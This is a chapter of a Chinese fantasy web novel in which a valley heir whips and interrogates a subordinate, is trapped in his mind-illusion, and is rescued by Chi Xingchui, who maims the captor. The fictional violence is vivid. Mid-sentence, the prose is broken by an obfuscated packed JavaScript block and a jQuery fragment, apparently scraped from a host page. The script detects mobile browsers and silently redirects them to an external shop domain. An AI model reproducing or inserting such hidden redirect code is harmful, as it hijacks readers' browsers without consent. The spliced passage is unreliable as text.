“连翘!”瞳曜彻底暴怒,“你想干什么?”
“想玩你啊。”连乔这次下手不再发狠,她挑出一个痒痒挠,在瞳曜的怀里来回扒拉。
“啊哈哈,啊哈哈哈哈哈哈……”瞳曜又痒又痛,又哭又笑,“哈哈……住手,连翘,啊哈哈……”
“这才哪到哪啊。”连乔用鞭子勾住他脖子猛地一扯,“这些年你用在别人身上的手段,比我这个狠多了。”
“这样吧,你说说。”连乔停下来,让瞳曜有喘口气的机会,“你什么时候成了老谷主的人?”
瞳曜虽然没有像南道跟她那么久,但在子午谷也已经很多年。
“老谷主?”瞳曜一脸茫然,“小谷主,老谷主身体不好,已经闭关修养很多年了,你不是不知道。”
“他是不是闭关了,你最清楚。你不愿意说也没关系。”连乔眯眼,听音链收缩更紧,瞳曜的脸已经涨成紫红色。
她又给了他几鞭,抽得他又痛又不敢出声,咬着牙“唔唔”出声。
与此同时,门外。
“连翘?连翘?”
迟星垂扣响连乔的门,重心蛊又起了作用,他感受连乔心神激动,她心神激动,正在为什么事发火。
借酒楼是单行通道,外面的声音能传到房间内,房间中的声音却传不出去。
房间里面十分安静,安静得可怕。
迟星垂迟疑了一下,还是怕连乔会出事。
他推开了门,便看到半空挂着一个人,连乔手持长鞭,正抽得起劲。被抽的那个人浑身是血,但是一声不吭,似乎表情暗爽。
迟星垂很尴尬,他进也不是,退也不是。
“啊,迟星垂?”连乔想起迟星垂很讨厌瞳曜,她很热情表示,“你来试试?”
迟星垂:“不用了谢谢。”
谁知道她在玩什么奇怪的东西?!迟星垂立刻要退出去,“抱歉,来得不是时候。”
“不,你来得正是时候!哎……迟星垂!”
连乔话还没说完,迟星垂已经退出去了。
连乔:“……怎么跑得这么快,还贴心把门带上了?”
望着手里的皮鞭和空中的人,连乔一个激灵。
不好,他好像误会什么了。
不管了,今天瞳曜在这,她必须得问出点什么……没等她转身,一只手从背后伸来,悄悄地捂上了她的嘴。
“没关系小谷主,他走了,我陪你。”瞳曜已经挣脱了银链,他靠在连乔耳边,“你不是想问点什么吗?正好,我也有点问题要问你。”
连乔瞳孔骤缩,身体被禁锢得不能动,立刻用意识控制灵气去拿万机。
瞳曜的另一只手按住她,东西丢在地上,一只靴子将它踩了个稀巴烂。
“小谷主,这些问题我要当面问你,我们不要叫其他人了,好不好嘛……”
瞳境接住晕倒的连乔,她的瞳孔已经涣散,意识被囚锁在瞳境之中,只要瞳境再次读取了她的意识,之后再支配她做事,也就不在话下。
他将连乔放平,起身要去将门窗封好。
迟星垂走了一半,忽然感觉一阵眩晕,识海中出现一瞬间的空白。
……连翘又在玩什么鬼东西?!
他快步回房,强迫自己脱离这些怪异的情绪,识海中的空白还在延续,像是被压在水中,濒临死亡的窒息感。
不对!
瞳曜还没搭好结界,门“轰”一声被踹开,紧接着又被人从里面锁死,他还没反应过来,整个人被一道白光束起,“砰”一声丢在地上。
他下意识开口要叫,迟星垂一把捂住他的嘴,施咒封住他口舌,让他既动弹不得也说不出话。
瞳曜下意识闭上眼,但迟星垂抢先一步,一片冰霜卷来,从他的太阳穴开始生出,一直蔓延到双眼眼眶,将他漆黑的瞳仁冻住,不得眨眼。
在漆黑的瞳孔里,倒映出一个影子。
那影子穿着很奇怪的衣服,像是悬浮在水中,又像是在不停下坠。
等下坠停止,连乔的意识重新清醒过来,她发现自己站在高桥之上,周围亮着灯,一直绵延到远处。
她再低头,整个人再次愣住。
怎么,又回到这里了呢?
这么真实,这么清晰,让她觉得,好像自己一直被困在这个地狱里,之后经历的一切,不过是沉睡时候的一场梦。
迟星垂覆住瞳曜的双眼,他双瞳的景象也跟着显现在面前,连乔被困在瞳镜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191317|132129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中,始终顺着台阶往上走。那台阶又抖又长,像是永远也望不到边。
“连乔?连乔?”
连乔听不见,不管他如何尝试去唤醒她,她都不为所动。
瞳曜的双瞳被冻住,嘴还能说话,“迟大公子,我们经常会玩这些游戏,这是我和小谷主之间的小情趣,我劝你还是不要插手。”
说完他望向迟星垂,但没等瞳镜施展开,他的一只眼球爆开。
“啊!”
瞳曜尖叫一声,迟星垂望向那只残缺的破眼,“你另一只眼珠还要么?”
瞳曜全身发抖,相信瞳镜的实力,它能够读取人内心最深的恐惧,不断蛊惑,不断引诱人沉沦,直到对方在欲望的汪洋中溺毙为止。
怎么会这么轻易,就被迟星垂破了?
他为什么不受影响?!
没有人能不受影响,当初连翘还差一点死在里面。
年少时的连翘最怕的就是被抛弃,早年丧母,而继父是一个人面兽心时时刻刻想要置她于死地的畜生……她像一片没有根的浮萍,时时刻刻充斥着被抛弃被丢弃的恐惧。
这导致她发狂,瞳镜一直在告诉她,你看,不管你做得多好,你永远都不会得到他的认可。
连翘也不止一次想摆脱困境,她发怒,发狂,发癫,每一次想挣脱瞳镜的束缚,都会带来更为严重的反噬……
每每这时,那位看上去温和儒雅的名义上的“父亲”,就会异常兴奋,他像一个看戏人,站在斗兽场的笼子外,看里面的困兽一次又一次地挣扎,却一次又一次被更强大的对手打到,按在地上凌虐。
玉非缘不想让连翘死,他想让连翘生不如死。
虽然瞳曜也不清楚那位老谷主究竟为什么如此变态,但是他的命门握在对方手中,他没得选择。
他不了解迟星垂,也不知道迟星垂能力多强,被破功没有让他很震惊,但是瞳曜不清楚,为什么这次连翘会失控。
在以往的几年里,连翘尽在掌控,她被瞳镜困得死死地,没有丝毫反抗的能力。
她在冲虚学院有什么变化么?
瞳曜满腹狐疑,但是在看清瞳镜里面的景象后,他却怔愣住。
面前这个人不是连翘?